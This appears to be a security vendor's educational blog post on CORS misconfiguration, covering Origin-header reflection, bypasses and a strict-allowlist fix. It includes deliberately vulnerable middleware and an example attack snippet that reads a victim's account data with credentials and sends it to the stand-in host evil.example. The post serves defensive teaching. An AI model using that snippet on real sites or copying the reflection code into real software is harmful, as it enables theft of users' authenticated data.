CORS Misconfiguration

CORS Misconfiguration: When a Stranger's Website Can Read Your Logged-In Data

An overly permissive CORS policy lets a malicious site read responses meant only for the victim. Here is how reflecting the Origin header goes wrong, and how a strict allowlist fixes it.

SelfSec Team3 min read
Part 1 of 1from theCORS Misconfigurationseries
Origin: https://evil.example
On this page

Cross-Origin Resource Sharing (CORS) exists to relax the browser's same-origin policy in a controlled way. By default, a script on https://evil.example cannot read the response from https://bank.example/api/account — the browser fetches it but refuses to hand the body to the calling page. CORS lets a server opt specific origins back in. The danger is that a careless opt-in can invite every origin in, including the attacker's.

When that happens, a CORS misconfiguration becomes a cross-origin data leak. A victim who is logged into your application visits an attacker's page, the page makes a credentialed request to your API, and because your headers say "this origin is allowed," the browser cheerfully delivers the authenticated response straight into attacker-controlled JavaScript.

How it happens

The root cause is almost always a server that decides which origins to trust by reflecting whatever the browser sent. Instead of comparing the request's Origin against a known list, the code copies it back verbatim:

app.use((req, res, next) => {
  const origin = req.headers.origin;
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

This looks like it works — every legitimate front-end gets the headers it needs. But "echo the Origin back" is not an allowlist; it is an allow-everything. Whatever value arrives in the Origin header is the value the server blesses. Pairing that reflection with Access-Control-Allow-Credentials: true is the critical mistake: it tells the browser to send cookies and to release the response to the calling script.

Naive matching fails the same way. Code that checks whether the Origin merely contains your domain, or ends with it, can be satisfied by look-alikes such as https://bank.example.attacker.com or https://bank.example.evil.com. The null origin — sent by sandboxed iframes and some redirects — is another value that should never be trusted but frequently is.

A concrete attack

The victim is authenticated to https://bank.example and visits https://evil.example. The attacker's page runs:

fetch('https://bank.example/api/account', { credentials: 'include' })
  .then(r => r.text())
  .then(data => fetch('https://evil.example/steal?d=' + encodeURIComponent(data)));

The browser sends the request with the victim's session cookie and attaches the header Origin: https://evil.example. The vulnerable server reflects it:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"name":"Alice","balance":48211,"iban":"GB29..."}

Because the response says the attacker's origin is allowed and credentials are permitted, the browser releases the JSON body to the attacker's script. The second fetch exfiltrates it. The victim sees nothing.

The browser did its job perfectly. It only released the private response because the server explicitly told it that the attacker's origin was trusted. CORS is a server-side decision; reflecting the Origin delegates that decision to the attacker.

What an attacker gains

A credentialed CORS leak hands the attacker read access to anything the victim's session can reach:

  • Steal authenticated API responses — account details, personal data, internal records rendered through the API.
  • Harvest anti-CSRF tokens and session metadata that pages expose to their own front-end, enabling follow-on attacks.
  • Read API keys or bearer tokens returned by settings or provisioning endpoints.
  • Pivot across every endpoint the victim is authorized for, since one permissive policy usually applies site-wide.

All of it happens silently, on the attacker's timeline, against any logged-in user they can lure to a link.

The fix: a strict origin allowlist

Treat the Origin header as untrusted input and compare it — exactly — against a configured set of origins you actually own. Never echo it back unconditionally, and never combine a wildcard with credentials.

const ALLOWED = new Set([
  'https://app.example',
  'https://admin.example',
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (ALLOWED.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

Key rules that make this safe:

  • Match the full origin string exactly. No includes(), no endsWith(), no regex that a look-alike domain can satisfy.
  • Never reflect null. Sandboxed and opaque origins must not be on the allowlist.
  • Never pair Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. Browsers forbid the literal combination, but reflecting an arbitrary origin re-creates the same risk with credentials attached — so the wildcard is only acceptable for genuinely public, unauthenticated data.
  • Send Vary: Origin so caches do not serve one origin's allow-header to another.

How SelfSec proves this one

Scanner behaviour
Module
CORS Misconfiguration
How it probes
Origin reflection, null-origin, subdomain and prefix or suffix bypass probes against every credentialed endpoint.
How it confirms
The response has to echo the attacker origin while allowing credentials; a permissive header with no credential path is not treated as exploitable.

Reported as CWE-942 · ATT&CK T1190 · SARIF 2.1.0

A reflected response alone is not enough to promote a CORS Misconfiguration finding — the classical engine has to confirm the behaviour before it reaches the report. See the detection engine

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about CORS Misconfiguration

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The CORS Misconfiguration series

  1. 01OverviewCORS Misconfiguration: When a Stranger's Website Can Read Your Logged-In DataReading

Related reading